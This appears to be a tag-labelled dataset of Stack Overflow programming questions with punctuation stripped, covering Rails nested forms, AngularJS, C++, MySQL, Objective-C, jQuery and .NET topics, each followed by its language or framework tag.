save multiple same named fields to database record  i m trying to save multiple fields with the same name into the database record    this is what i have for now:   <pre><code>&lt;%= form_for @complaint  url: {action:  create }  :html =&gt; {:multipart =&gt; true} do |f| %&gt;   &lt;%= f.label :complaint_info   describa lo que sucedió  %&gt;    &lt;%= f.cktext_area :complaint_info  :class =&gt;  someclass   :ckeditor =&gt; {:language =&gt;  us   :toolbar =&gt;  mini }  tabindex:  -1  %&gt;    &lt;%= f.fields_for :witnesses do |witnesses_form| %&gt;         &lt;%= witnesses_form.label :name   ¿hay testigos   %&gt;         &lt;%= witnesses_form.text_field :name  placeholder:  escriba el nombre del testigo   tabindex:  -1  %&gt;         &lt;%= witnesses_form.label :phone   número de teléfono del testigo  %&gt;         &lt;%= witnesses_form.text_field :phone  placeholder:  escriba el número de teléfono  %&gt;          &lt;%= witnesses_form.label :name   ¿hay testigos   %&gt;         &lt;%= witnesses_form.text_field :name  placeholder:  escriba el nombre del testigo   tabindex:  -1  %&gt;         &lt;%= witnesses_form.label :phone   número de teléfono del testigo  %&gt;         &lt;%= witnesses_form.text_field :phone  placeholder:  escriba el número de teléfono  %&gt;   &lt;% end %&gt;   &lt;% end %&gt; </code></pre>   in the controller:   <pre><code>  def new     @complaint = complaint.new     @complaint.witnesses.build   end    def create     @complaint = current_user.complaints.build(complaint_params)     if @complaint.save        redirect_to dashboard_complaint_path(@complaint)     else       render  new      end   end    private    def complaint_params     params.require(:complaint).permit(:complaint_info  witnesses_attributes: [:name  :phone])   end </code></pre>   what i want to do is give the user the option to add multiple witnesses and save them each into a new record in the database.    edit:    here are the models:    complaint:   <pre><code>class complaint &lt; activerecord::base   belongs_to :user   has_many   :witnesses    accepts_nested_attributes_for :witnesses end </code></pre>   and witness:   <pre><code>class witness &lt; activerecord::base   belongs_to :complaint end </code></pre>   edit2:    heres what the controller returns   <pre><code>started post  /dashboard/complaints  for 127.0.0.1 at 2015-06-10 12:14:10 -0400 processing by dashboard::complaintscontroller#create as html   parameters: { utf8 =&gt; ✓    authenticity_token =&gt; 0ek0kaaydur1ktwuolceedag0fb63woijiixl7asm1zmbxwdhyccxce82ijpljrmnehs39um9eehl/gwjkpqiw==    complaint =&gt;{ complaint_info =&gt; &lt;p&gt;this is the description&lt;/p&gt;\r\n    witnesses_attributes =&gt;{ 0 =&gt;{ name =&gt; second witness    phone =&gt; 7877877877 }}}   button =&gt;  }   user load (0.3ms)  select   users .* from  users  where  users . id  = $1  order by  users . id  asc limit 1  [[ id   1]]    (0.3ms)  begin   sql (0.8ms)  insert into  complaints  ( complaint_info    user_id    created_at    updated_at ) values ($1  $2  $3  $4  $5  $6  $7  $8) returning  id   [[ complaint_info    &lt;p&gt;this is the description&lt;/p&gt;\r\n ]  [ user_id   1]  [ created_at    2015-06-10 16:14:10.452890 ]  [ updated_at    2015-06-10 16:14:10.452890 ]]   sql (1.3ms)  insert into  witnesses  ( name    phone    complaint_id    created_at    updated_at ) values ($1  $2  $3  $4  $5) returning  id   [[ name    second witness ]  [ phone    7877877877 ]  [ complaint_id   19]  [ created_at    2015-06-10 16:14:10.457497 ]  [ updated_at    2015-06-10 16:14:10.457497 ]]    (96.3ms)  commit redirected to http://localhost:3000/dashboard/complaints/19 completed 302 found in 125ms (activerecord: 98.9ms) </code></pre>   as you can see  it only saves one witness record <code>[ name    second witness ]</code> and is the last field (there are two fields  i typed <code>first witness</code> and <code>second witness</code> in the last one).,ruby-on-rails
angularjs: init data from js timer not working  i am new in angular. i was reading the functionality of <code>$scope.$apply();</code> i got a sample where controller s data member value is assign from timer but change was not reflected in ui but when i use  <code>$scope.$apply();</code> then change reflect to ui.........why     i define timer inside my controller so if i assign any data to controller s data member then change should come. tell me what was the problem with timer that if we assign any data to controller s data member change is not coming to ui.   <h2>see my code</h2>  <pre><code>&lt;div ng-app= myapp  ng-controller= firstctrl &gt; {{message}} &lt;br&gt;   &lt;button ng-click= myfunc() &gt;ok&lt;/button&gt; &lt;/div&gt;  var myapp = angular.module( myapp   []);  myapp.controller( firstctrl   function( $scope ){ $scope.message =  waiting 2000ms for update ;      settimeout(function () {         $scope.message =  timeout called! ;         // angularjs unaware of update to $scope         alert( alert called );         $scope.$apply();     }  2000);  $scope.myfunc = function() {         $scope.message =  timeout called! ;     };  }); </code></pre>,angularjs
class x is implemented in both y and z. one of the two will be used  i ve got an objective-c  tool  (console) program that dynamically loads objective-c bundle s at runtime. some of the bundle files share classes from the same framework so i get the  class is implemented in both...  message dumped out to the console.     it doesn t prevent anything from working  but having the messages on the console is somewhat annoying. is there a way to prevent them from being dumped out there  is there a way that the bundle s could be changed so they don t both compile/link the same classes,objective-c
quickest way to set properties on an object   assume you have a business object with a lot of properties. what is the easiest and best way to set the properties without the use of an orm tool      this implies setting properties from a data reader object  such as    <pre><code>client.name = (string)reader[ name ]; </code></pre>   what about the case where the object contains other complex objects     any suggestions,.net
why this code is working   i mean the member is private  why this code is working  i mean the <code>value</code> is a private variable  why function <code>assign()</code> can access it directly    <pre><code>class a { private:     int value; public:     a() :value(0){ }     void assign(a x)     {         value = x.value;     } };  int main() {     a a;     a b;     a.assign(b);      return 0; } </code></pre>,c++
more than 3 entries in the column  i have a table say xyz  there are three entries for each entity of the column say  a  and i want to find out if there are more than 3 entries for those entities in the column.    column:    <pre><code>    a      b      c     123     123     123     sol     sol     sol     456     456     456 </code></pre>   here i want to know if i have more than 3 entries for 123 or sol or 456 in the tab,sql
c++ forbids converting a `string` constant to `char*` - alphabets to morse converting program  so i was working on this assignment  i need to convert normal text into morse code. we re studying basic c++ at the moment so i m not allowed to use the string data type or any other complex built-in functions.so i tried doing it through a char array. when i try running it the following error shows up   iso c++ forbids converting a string constant to  char*       <pre><code>#include &lt;iostream&gt; using namespace std;  int len = 0; char string[45] = {  a    b    c    d    e    f    g    h    i    j    k    l    m    n    o    p    q    r    s    t    u    v    w    x    y    z    0    1    2    3    4    5    6    7    8    9    .              [    !    (    )    &amp;  }; char* morse[45] = {  .-    -...    -.-.    -..    .    ..-.    --.    ....    ..    .---    -.-    .-..    --    -.    ---    .--.    --.-    .-.    ...    -    ..-    ...-    .--    -..-    -.--    --..    -----    .----    ..---    ...--    ....-    .....    -....    --...    ---..    ----.    .-.-.-    --..--    ..--..    .----.    -.-.--    -..-.    -.--.    -.--.-    .-...  };  void size(char* arr) {     for (int i = 0; arr[i] != 0; i++) {         len++;     } }  int main() {     char str[100];     cout &lt;&lt;  enter string:  ;     cin.getline(str  100);     size(str);     for (int i = 0; i &lt; len; i++) {         for (int j = 0; j &lt; 45; j++) {             if (str[i] == string[j]) {                 cout &lt;&lt; morse[j];                 break;             }         }     }     return 0; } </code></pre>,c++
prepend character to array of items in php  i am trying to take a string like...    <code>php mysql css</code> and turn it into .. <code>#php #mysql #css</code>    what i have so far...       <pre><code>$hashtagstr  =  php mysql css ; $hashtags = explode(     $hashtagstr);  foreach($hashtags as $k =&gt; $v){     $hashtagsstr =   ;     $hashtagsstr .=  # .$v.   ; } echo $hashtagsstr;   &gt; </code></pre>   problem is it only prints <code>#css</code>,php
jquery: validation  best way to do this   i have a simple form with basic info e.g.   <pre><code>&lt;label&gt;*name:&lt;/label&gt; [inputbox] &lt;label&gt;*email:&lt;/label&gt; [inputbox] &lt;label&gt;company:&lt;/label&gt; [inputbox] &lt;label&gt;phone:&lt;/label&gt; [inputbox]  [submit] </code></pre>   i just want simple validation that turns the input box border red and the text e.g.  *name  red.... i think many validation scripts might be a bit heavy for this simple functionality...    can anyone reocomend something simple to achieve validation as per above please,jquery
dynamically shift left or right  i have a pretty simple question. is there a way to dynamically shift bitwise to the left or to the right  e.g. depending on the sign of an int.   <pre><code>signed int n = 3; signed int m = -2;  int number1 = 8; int number2 = 8;  //number1 shift n; //number2 shift m; </code></pre>   in this case i want to shift number1 3 bits to the left and number2 2 bits to the right. is there a way without <code>if else</code>,c
what kind of image could be in the source of <img> tag   sample:   <pre><code> &lt;img src= smiley.gif  alt= smiley face  width= 42  height= 42 &gt; </code></pre>   what kind of images could i use as resources (gif  ....  ) are there any limitations,html
expected ì)ì error  xcode send me an error of expected  )  in my appdelegate.m file and i don t understand the problem. somebody can help me    <pre><code>- (void)applicationdidfinishlaunching:(uiapplication *)application  {         nsarray *pippoinfos = [awosdatabase database].pippoinfos;     for (pippoinfo *info in pippoinfos)      {         nslog(@ %d: %@  %@  %@  %@  info.id  info.gigio  info.gigi  info.cip  info.ciop);     } </code></pre>   thank you,ios
error --- #1396 - operation create user failed for  regform_user @ %   i have problem to create user running this sql script   <pre><code>create database registrationform default character set utf8 default collate utf8_general_ci;   create user regform_user;  grant all on registrationform.* to  regform_user @ localhost  identified by  @regformpswd ;  use registrationform  # *************** create tables ***************** </code></pre>   i receive this error   <pre><code>    errore query sql:   create user regform_user messaggio di mysql: documentazione  #1396 - operation create user failed for  regform_user @ %  </code></pre>   why this error,mysql
issue with my custom navigation bar back button xcode  i m working in xcode 4.3.2 using storyboards. i ve created a segue between two views by clicking on the button i want to create a segue and control+click+drag a connection to the next view controller. of course this creates an automatic/default back button in the navigation bar in the next view controller.  what i want to do is customize the look of this back button. so  i looked around online and found this code:   <pre><code>self.navigationitem.hidesbackbutton = yes; uibutton *button = [[uibutton alloc] initwithframe:cgrectmake(0  4  40  40)]; [button setimage:[uiimage imagenamed:@ homebutton.png ] forstate:uicontrolstatenormal]; [button addtarget:self action:@selector(backaction) forcontrolevents:uicontroleventtouchupinside]; uibarbuttonitem *back = [[uibarbuttonitem alloc] initwithcustomview:button]; self.navigationitem.leftbarbuttonitem = back; </code></pre>   it works great to change the look of the button  but the problem now is that when i click that button  xcode throws an error:  unrecognized error sent to instance...     can anyone help me to figure out how to now add the proper functionality to my custom back button  thanks.,ios
method traitcollectiondidchange(_ previoustraitcollection: uitraitcollection ) of my uiview subclass not called when rotating  the document of uitraitenvironment says:   <blockquote>    this method is called automatically when the current trait collection   changes. overriding this method provides you with a way to customize   behavior when the trait collection associated with the view changes.   if you do not override this method  no special behavior is performed.  </blockquote>   but when i rotate simulator this method in my uiview subclass is not called.,ios
simple xcode  objective-c class not working  alright  so i have started my adventure into the world of objective-c and am currently stumped with the following scenario.  the scenario is as follows  i created a class  a simple method for it  created an object of my class  then tried setting a value of my object using the method i created.  when i try running the app i get a breakpoint at    <pre><code>[chris setage:29]; </code></pre>   and the console output states     <blockquote>    (lldb)  </blockquote>   all this is  is a simple command-line tool  and consists one file  main.m   <pre><code>//  main.m  #import &lt;foundation/foundation.h&gt;  @interface person : nsobject {     int age; } -(void)setage:(int)a; @end  @implementation person -(void)setage:(int)a {     age = a; } @end  int main(int argc  const char * argv[]) {      @autoreleasepool {          // insert code here...         int age = 29;         int money = 0;         int broke = age + money;         nslog(@ hello  world!\n );         nslog(@ i am %i  broke);          person *chris = [[person alloc]init];         [chris setage:29];         nslog(@ chris s age is %@  chris);       }     return 0; } </code></pre>,objective-c
browser generates empty paragraph that has no source in html source  my website contains a table   <pre><code>&lt;div class= row &gt;     &lt;div class= col-sm-12 &gt;         &lt;div class= panel panel-default &gt;             &lt;div class= panel-heading &gt;alpha beta gamma delta&lt;/div&gt;             &lt;table class= panel-body table table-bordered &gt;                 &lt;tbody&gt;                     &lt;tr&gt;                         &lt;td&gt;some text&lt;/td&gt;                         &lt;td&gt;&lt;p&gt;&lt;a href= https://example.com &gt;a link&lt;/a&gt;&lt;/p&gt;                         &lt;p&gt;&lt;a href= https://example.com &gt;another link&lt;/a&gt;&lt;/td&gt;&lt;/p&gt;                     &lt;/tr&gt;                                            &lt;/tbody&gt;             &lt;/table&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   for some reason  there is an empty line above the table content: <a href= https://i.stack.imgur.com/pk6gf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pk6gf.png  alt= enter image description here ></a> the source code does not contain this  but looking at the source as firefox and chrome display it in the developer tools  there clearly is an empty <code>&lt;p&gt;&lt;/p&gt;</code> inserted before the table body.      this paragraph appears seemingly for no reason  out of thin air. why,html
process.standardoutput stream to events  this is really a streams question  but i m asking specifically to solve my current problem with processes.    system.diagnostics.process exposes standardoutput as a stream. i want to listen to this stream and process its output line by line. obviously there s no direct correlation between input and output  but let s add the slightly artificial requirement that we can process output  by line .    so most examples of using it look like this:   <pre><code>using (process process = process.start(start)) {     //     // read in all the text from the process with the streamreader.     //     using (streamreader reader = process.standardoutput)     {     string result = reader.readtoend();     console.write(result);     } } </code></pre>   which is of no use as it isn t event driven and assumes the process lives just long enough to return some output. by event driven  it doesn t have to be an event. a lambda  callback  event  whatever  i just want notification when a whole line is output and i want to be able to shutdown cleanly when i finish with the process.    essentially i m asking are streams poll only.    thanks,c#
i am setting value of threadlocal in one class can i access the value in another class  in the below code i am storing temporary threadlocal values in a threadlocal class.and set the value into another class..   <pre><code>list&lt;string&gt; spaces=new arraylist&lt;string&gt;(); spaces.add(spacekey); threadlocal&lt;list&lt;string&gt;&gt; threadlocal=new threadlocal&lt;list&lt;string&gt;&gt;(); threadlocal.set(spaces);   setshardholder(threadlocal); </code></pre>   i have getters and setters in another class   <pre><code>private threadlocal&lt;list&lt;string&gt;&gt; shardholder; public threadlocal&lt;list&lt;string&gt;&gt; getshardholder() { return shardholder; } public void setshardholder(threadlocal&lt;list&lt;string&gt;&gt; shardholder) { this.shardholder = shardholder; } </code></pre>   i am not able to access the values using the getter,java
sending an email in c# .net  i have the following code to send an email:   <pre><code>system.net.mail.smtpclient client = new system.net.mail.smtpclient(); client.send(myfrom@email.com   myreceipient@email.com    test    test ); </code></pre>   now because i m sending it from my own work pc  i have iis 5.0 setup and obviously most email servers on the recipients side will assume this could be spam as its coming from a adsl ip. so i authenticate the code above using:   <pre><code>client.credentials = new system.net.networkcredential(myemailhere  mypasswordhere); </code></pre>   but it still won t send to some clients. is there a way around this  eventually this code will sit on a rackspace server  how could/would i set it up to make sure the recipient servers do not think its spam,.net
how to ignore the case sensitivity in list<string>  let us say i have this code   <pre><code>string seachkeyword =   ; list&lt;string&gt; sl = new list&lt;string&gt;(); sl.add( store ); sl.add( state ); sl.add( stamp ); sl.add( crawl ); sl.add( crow ); list&lt;string&gt; searchresults = sl.findall(s =&gt; s.contains(seachkeyword)); </code></pre>   how can i ignore the letter case in contains search     thanks,c#
mysql sub records  ok so i´ve been trying to retrieve a group of sub records from a main record. i m making a simple exam app and want to retrieve the answers from a question.    i have the following tables:   <pre><code>questions:  -------------------------------------------------- | question_id | exam_id | question               | -------------------------------------------------- | 1           | 1       | what s 2+2             | -------------------------------------------------- | 2           | 1       | what s 6+5             | --------------------------------------------------  answers:  -------------------------------------------------- | answer_id | question_id  | answer              | -------------------------------------------------- | 1         | 1            | 4                   | -------------------------------------------------- | 2         | 1            | 10                  | -------------------------------------------------- | 3         | 2            | 11                  | -------------------------------------------------- | 4         | 2            | 15                  | --------------------------------------------------  i want to output:  -------------------------------------------------- | question_id | question       | answers         | -------------------------------------------------- | 1           | what s 2+2     | 4 10            | -------------------------------------------------- | 2           | what s 6+5     | 11 15           | -------------------------------------------------- </code></pre>   i m trying to use the following query but it doesn t return anything:   <pre><code>select      questions.question_id      questions.question      group_concat(answers.answer) as answers  from questions  answers  where questions.exam_id = 1 and answers.question_id = questions.question_id   group by questions.question_id  </code></pre>,mysql
what is meta name= omni_page    what is <code>&lt;meta name= omni_page  /&gt;</code>   i only see it on apple.com pages  and it doesn t look like anything i ve seen in the standards.,html
how to store/retrieve application data incase application deleted accidentally  i am having an application in which i am having sqlite database too ..if i delete that application accidentally. is there any way to get back the same application with the same database.    or is there any way to keep database alone in a separate place inside iphone memory so that we can recover after application delete if needed.    please tell me how to achieve the above .    regards     v.k.,iphone
two most recent rows for each id  i have the following query which is executed for a single user:   <pre><code>select b1.id  b1.id_type  b1.id_team  extra_bets_types.description  teams.conference  teams.division from extra_bets b1 inner join teams on b1.id_team = teams.id inner join extra_bets_types on b1.id_type = extra_bets_types.id where b1.id_user =   and b1.id_season = 6 and b1.id_type = 13 order by b1.timestamp desc limit 2 </code></pre>   it retrieves the 2 most recent rows from the table extra_bets for this specific user.    now i need a similar query that retrieves this information for each id_user in a table called users_season.    i ve tried using limit 2 in a sub query (select or inner join) but apparently this is not supported by mysql.    i m not that experienced in mysql queries and kind of don t know what else to try here. what you suggest     thanks!,mysql
counting permuations in python  what is the fastest way of counting the number of permutations  i have the following problem:    first i have this:   <pre><code>ncombos = itertools.combinations_with_replacement([ a1    a2    a3 ]  years*n) ( a1    a1    a1 ) ( a1    a1    a2 ) ( a1    a1    a3 ) ( a1    a2    a2 ) .... etc.....     ( a3    a3    a3 ) </code></pre>   the aim is to go through each one and calculate the number of permutations that each one has and construct an array with these values. i implemented this using:   <pre><code>nodes = np.ones(len(leafs)); i=0  #this will store the number of permutations  for j in ncombos:     nodes[i] =len(list(set(itertools.permutations(np.asanyarray(j)  n))))     i = i+1 </code></pre>   np.asanyarray(j) converts the ( a1   a1   a1 ) into formal [ a1   a1    a1 ] which is need for permutations() to work. set erases the permutations which are identical. list makes a list of this. len calculates how many permutations can i make with a1  a1  a1.     so basically all i want is to count the number of permutations... however my code is extremely!!! slow ! thank you!,python
accessing instance variables from nstimer selector  firstly newbie question:  what s the difference between a selector and a method     secondly newbie question (who would have thought): i need to loop some code based on instance variables and pause between loops until some condition (of course based on instance variables) is met.  i ve looked at sleep  i ve looked at nsthread.  in both discussions working through those options many asked why don t i use nstimer  so here i am.      ok so it s simple enough to get a method (selector  ) to fire on a schedule.  problem i have is that i don t know how to see instance variables i ve set up outside the timer from within the code nstimer fires.  i need to see those variables from the nstimer selector code as i 1) will be updating their values and 2) will set labels based on those values.    here s some code that shows the concept… eventually i d invalidate the timers based on myvariable too  however i ve excluded that for code clarity.   <pre><code>myclass *amyclassinstance = [myclass new];  [amyclassinstance setmyvariable:0]; [nstimer scheduledtimerwithtimeinterval:1.0 target:self selector:@selector(dostuff) userinfo:nil repeats:yes]; [nstimer scheduledtimerwithtimeinterval:5.0 target:self selector:@selector(dosomeotherstuff) userinfo:nil repeats:yes];  - (void) dostuff {         [amyclassinstance setmyvariable:11]; //  don t actually have access to set amyclassinstance.myvariable         [self updatesomeuilabel:[nsnumber numberwithint:amyclassinstance.myvariable]];  // don t actually have access to amyclassinstance.myvariable }  - (void) dosomeotherstuff {         [amyclassinstance setmyvariable:22]; //  don t actually have access to set amyclassinstance.myvariable         [self updatesomeuilabel:[nsnumber numberwithint:amyclassinstance.myvariable]];  // don t actually have access to amyclassinstance.myvariable }  - (void) updatesomeuilabel:(nsnumber *)arg{         int value = [arg intvalue];          someuilabel.text = [nsstring stringwithformat:@ myvariable = %d   value];  // updates the ui with new instance variable values } </code></pre>,objective-c
why are nested macros needed   in the following piece of code in the functional mock-up interface header file    <pre><code>#define fmipaste(a b)     a ## b #define fmipasteb(a b)    fmipaste(a b) #define fmifullname(name) fmipasteb(model_identifier  name) </code></pre>   why are nested macros being used in the first place  why not just    <pre><code>#define fmipasteb(a b)    a ## b #define fmifullname(name) fmipasteb(model_identifier  name) </code></pre>,c
servercontrol versus usercontrol  i d like to hear some reasons for using a servercontrol opposed to a usercontrol.  i ve found that i probably overuse usercontrols.      my list looks something like this:    pro usercontrol   <ol> <li>easily modified.  need to add a class attribute to an element  hack it out in html.</li> <li>quick and easy to create initial view.  everyone can write simple html right </li> </ol>   pro servercontrol   <ol> <li>performance.  no html parsing.</li> <li>flexibility.  control rendering down to a gnat s behind.</li> <li>reusability.  compile it and stick it in the gac for later use.  or  sell it.</li> </ol>   anything that i m missing,asp.net
is it possible to simulate a stopwatch with ishighresolution = false when by default it s true   is it possible to simulate a stopwatch with ishighresolution = false when by default it s true,.net
mysql - how to select records that match all in values but in 1 or more tables  good day  i can t seem to figure out how to do this. i ll first explain my database model:   <pre><code>user (user_id  name) job (job_id  name) usertopjob (user_id  job_id) userotherjob(user_id  job_id) </code></pre>   a user can setup his top jobs which he likes best. those values will be saved into usertopjob by the user_id and the job_id. the user can set some other jobs he likes into userotherjob as well.    now  what i want to do is query out users that match my job search input. for example  the search input is job_id 1 and 2. now i want to query out the users that match both job_id 1 and job_id 2  but it doesn t matter whether they are in the users top or other jobs  or divided between those two tables.    so a user must be returned if:   <ul> <li>both job_id 1 &amp; 2 are in top jobs</li> <li>both job_id 1 &amp; 2 are in the other jobs</li> <li>they have both job_id 1 and 2 but in different tables</li> </ul>   the number of input ids can grow and does not have a limit. it must always match all input values. edit: so  for example if i m putting job_ids 1 and 2 and 3 into the query  the ids 1 and 2 and 3 need to be in the top or other table for that user.    can anybody please help me create a mysql-query that can do this and doesn t put too much pressure on db-performance     thanks in advance for helping me out here!,mysql
what is the big difference about the private (-) method and public (+) method in objective-c   in objective-c. i can declare two method. the private (-) method  which is access inside the class  or by the class instance. for example <br> in <code>.h</code> file: i declare:   <pre><code>-(void)privatemethoda; +(void)publicmethoda; </code></pre>   in <code>.m</code> file  i can do   <pre><code>[self privatemethoda]; </code></pre>   in other class   like classb <code>.m</code> file; also i can do   <pre><code>classa *obja; [obja privatemethoda]; </code></pre>   however  for public method. which is called static method  i guess.   <pre><code>[classa publicmethoda]; </code></pre>   is enough to access method a in classb <code>.m</code> file    in sum up  i can skip the step to declare a instance to access a private method  and just use the <code>[classname publicmethodname];</code>    for convenience  i can declare all the method to be public method... so problem is coming  for good program design  what is the difference  is there something about the memory  such as heap memory  stack memory,ios
use of angular.foreach instead of for  i am new to angularjs  please anyone tell how to use angular.foreach for below code    <pre><code>for(i=0;i&lt;$scope.data.tabs.length;i++){     $scope.data.tabs[i][ position ]=i+1; } </code></pre>,angularjs
jquery doesn t work on dynamically loaded html  i have a webpage that has div tags in it that loads menu bar/sub bar content dynamically through jquery (i want the content external so i can load it on multiple pages). in the page  there is a jquery function that alters the menu bar contents when the mouse is over a specific part of the menu bar (like the one on msn.com).     the problem is the content loads  but the jquery doesn t work (using the <code>.on()</code> function).  the first part of the function shows a sub menu based upon which menu item you mouse over. the second part(s) of the function set the background color of the mouse over-ed menu item and also sets the color of the other items back to its original.    if i put the content directly on the page  it works fine. any help is appreciated as i can not figure this out.    <strong>html - content loaded dynamically into each div</strong>   <pre><code>&lt;tr&gt;     &lt;td align= center  valign= middle &gt;         &lt;div id= menubar_index &gt;            &lt;!--menubar contents are loaded dynamically--&gt;        &lt;/div&gt;      &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td align= center  valign= middle &gt;         &lt;div id= menubar_sub &gt;            &lt;!--menubar contents are loaded dynamically--&gt;        &lt;/div&gt;      &lt;/td&gt; &lt;/tr&gt; </code></pre>   <strong>html content that is loaded into first div(menubar_index):</strong>   <pre><code>&lt;div class= topgradientblueline &gt;      &lt;div id= wrapper &gt;         &lt;div id= menuspacer &gt;             &amp;nbsp;         &lt;/div&gt;         &lt;div id= dmsmenu  style= font-family:sans-serif; font-size:small;  &gt;             document management solutions         &lt;/div&gt;         &lt;div id= lstmfmenu  style= font-family:sans-serif; font-size:small;  &gt;             life science tmf solutions         &lt;/div&gt;         &lt;div id= lssampmenu  style= font-family:sans-serif; font-size:small;  &gt;             life science sampling solutions         &lt;/div&gt;         &lt;div id= drsmenu  style= font-family:sans-serif; font-size:small;  &gt;             about drs         &lt;/div&gt;     &lt;/div&gt;                  &lt;/div&gt;  </code></pre>   <strong>html content that is loaded into the second div(menubar_sub):</strong>   <pre><code>&lt;div style= height:50px; width:950px; &gt;     &lt;div id= dmssubmenu  style= display: none &gt;         &lt;a href= #  style= text-decoration:none &gt;dms sub menu&lt;/a&gt;     &lt;/div&gt;     &lt;div id= lstmfsubmenu  style= display: none &gt;         &lt;a href= #  style= text-decoration:none &gt;lstmf sub menu&lt;/a&gt;     &lt;/div&gt;     &lt;div id= lssampsubmenu  style= display: none &gt;         &lt;a href= #  style= text-decoration:none &gt;lssamp sub menu&lt;/a&gt;     &lt;/div&gt;     &lt;div id= drssubmenu  style= display: none &gt;         &lt;a href= #  style= text-decoration:none &gt;drs sub menu&lt;/a&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>jquery that resides on the page:</strong>   <pre><code>&lt;script type= text/javascript &gt;   $(document).ready(function(){     $( #menubar_index ).load( menubar_index.html );     $( #menubar_sub ).load( menubar_sub.html );     $( #menubar_ims ).load( menubar_ims.html );     $( #pageheader ).load( page_header.html );     $( #footer_news ).load( footer_news.html );     $( #vmenubar_ims ).load( vmenubar_ims.html );     $( #vmenubar_tmfps ).load( vmenubar_tmfps.html );     $( #pagefooter ).load( page_footer.html );     });        //jquery to show &amp; hide divs         $(document).ready(function() {   //          doc mgmt slns menu item             $( #dmsmenu ).on( mouseenter   function() {  //                hide/show sub menus                   $( #dmssubmenu ).show();                   $( #lstmfsubmenu ).hide();                   $( #lssampsubmenu ).hide();                                     $( #drssubmenu ).hide();  //                set background(white)  text(orange) and cursor(pointer) of this item                   $(this).css( background    #ffffff )                   $(this).css( color    #df7401 );                   $(this).css( cursor    pointer );  //                set background(blue)  text(white) of all other menu items                   $( #lstmfmenu ).css( background    #0a0a2a );                   $( #lstmfmenu ).css( color    #ffffff );                   $( #lssampmenu ).css( background    #0a0a2a );                   $( #lssampmenu ).css( color    #ffffff );                   $( #drsmenu ).css( background    #0a0a2a );                   $( #drsmenu ).css( color    #ffffff );              });  //          life sci tmf slns menu item                         $( #lstmfmenu ).on( mouseenter   function() {  //                hide/show sub menus                   $( #lstmfsubmenu ).show();                   $( #dmssubmenu ).hide();                   $( #lssampsubmenu ).hide();                                $( #drssubmenu ).hide();  //                set background(white)  text(orange) and cursor(pointer) of this item                                     $(this).css( background    #ffffff );                                     $(this).css( color    #df7401 );                   $(this).css( cursor    pointer );  //                set background(blue)  text(white) of all other menu items                                     $( #dmsmenu ).css( background    #0a0a2a );                   $( #dmsmenu ).css( color    #ffffff );                   $( #lssampmenu ).css( background    #0a0a2a );                   $( #lssampmenu ).css( color    #ffffff );                   $( #drsmenu ).css( background    #0a0a2a );                   $( #drsmenu ).css( color    #ffffff );              });  //          life sci samp slns menu item                   $( #lssampmenu ).on( mouseenter   function() {  //                hide/show sub menus                                     $( #lssampsubmenu ).show();                                     $( #dmssubmenu ).hide();                   $( #lstmfsubmenu ).hide();                   $( #drssubmenu ).hide();  //                set background(white)  text(orange) and cursor(pointer) of this item                                                  $(this).css( background    #ffffff )                   $(this).css( color    #df7401 );                   $(this).css( cursor    pointer );  //                set background/text of other menu items back to normal                   $( #lstmfmenu ).css( background    #0a0a2a );                   $( #lstmfmenu ).css( color    #ffffff );                   $( #dmsmenu ).css( background    #0a0a2a );                   $( #dmsmenu ).css( color    #ffffff );                   $( #drsmenu ).css( background    #0a0a2a );                   $( #drsmenu ).css( color    #ffffff );              });  //          about drs menu item                   $( #drsmenu ).on( mouseenter   function() {  //                hide/show sub menus                                     $( #drssubmenu ).show();                                     $( #dmssubmenu ).hide();                   $( #lstmfsubmenu ).hide();                   $( #lssampsubmenu ).hide();  //                set background(white)  text(orange) and cursor(pointer) of this item                                                  $(this).css( background    #ffffff )                   $(this).css( color    #df7401 );                   $(this).css( cursor    pointer );  //                set background/text of other menu items back to normal                   $( #lstmfmenu ).css( background    #0a0a2a );                   $( #lstmfmenu ).css( color    #ffffff );                   $( #dmsmenu ).css( background    #0a0a2a );                   $( #dmsmenu ).css( color    #ffffff );                   $( #lssampmenu ).css( background    #0a0a2a );                   $( #lssampmenu ).css( color    #ffffff );              });           });     &lt;/script&gt;  </code></pre>   <strong>css:</strong>   <pre><code>#wrapper {      width: 1360px;      margin: 0 auto;       background-color:#0b0b3b; }  #dmsmenu  #lstmfmenu  #menuspacer  #lssampmenu  #drsmenu {      float: left;     min-height: 20px;     color:white;     border-spacing:2px;  } #dmsmenu {      width: 230px;      text-align:center;      font-weight:bold;  }  #lssampmenu {      width: 230px;      text-align:center;      font-weight:bold;  }  #drsmenu {      width: 130px;      text-align:center;      font-weight:bold;  } #menuspacer {      width: 50px;  }  #lstmfmenu {      width: 220px;      text-align:center;      font-weight:bold;  }  .topgradientblueline  {     background-color: #0a0a2a;     width:1100px;     height:20px;         } </code></pre>,jquery
how to achieve this condition (ng-change= myfunction($event) ) in angularjs  i have searched a lot.    here are the links i found  but i could not solve my problem.    <a href= https://stackoverflow.com/questions/14710392/passing-arguments-to-ngchange-event-call-from-inside-directive >passing arguments to ngchange event call from inside directive</a>    <a href= https://stackoverflow.com/questions/18555425/angularjs-why-select-drop-down-doesnt-have-event-on-change >angularjs - why select drop down doesn&#39;t have $event on change</a>    i have a simple function defined in the scope like this :   <pre><code>  app.controller( myctrl   [ $scope    $sce   function ($scope  $sce) {         $scope.myfunction = function($event) {                  // do stuff         };     }]); </code></pre>   and i have this html    <pre><code>&lt;div ng-app= myapp  id= ngapp  ng-controller= myctrl  style= display:none &gt;  &lt;select class= form-control  name= selectedshowvariantsoption  ng-model= selectedshowvariantsoption  ng-options= option.name for option in options  ng-change= myfunction($event) &gt;&lt;/select&gt; &lt;/div&gt; </code></pre>   i understand that in angularjs you can not pass the $event to the ng-change in select. however you can do that with the on-click. i still missing what the reason behind this  also any work around to pass the $event in the ng-change      any suggestion is appreciated.,angularjs
load more comments  button -> prevent loading duplicates due to changes in database  i am coding an app where users can read and write comments.    when the number of comments exceed a certain limit  a  load more coments  button is displayed and the offset of loaded comments is stored.    i update this offset whenever the user writes or deletes own comments so that no duplicates are loaded and no comments are left out.    but i forgot about the case when the database changes because other users added/deleted comments.    so the offset method seems to be unreliable  so is there any way to solve this problem maybe by saving the id of the last comment and using this as some kind of  offset      the where clause in my query is like:    <code>where x =   order by y =  </code> (neither x nor y are the id  y is not unique),mysql
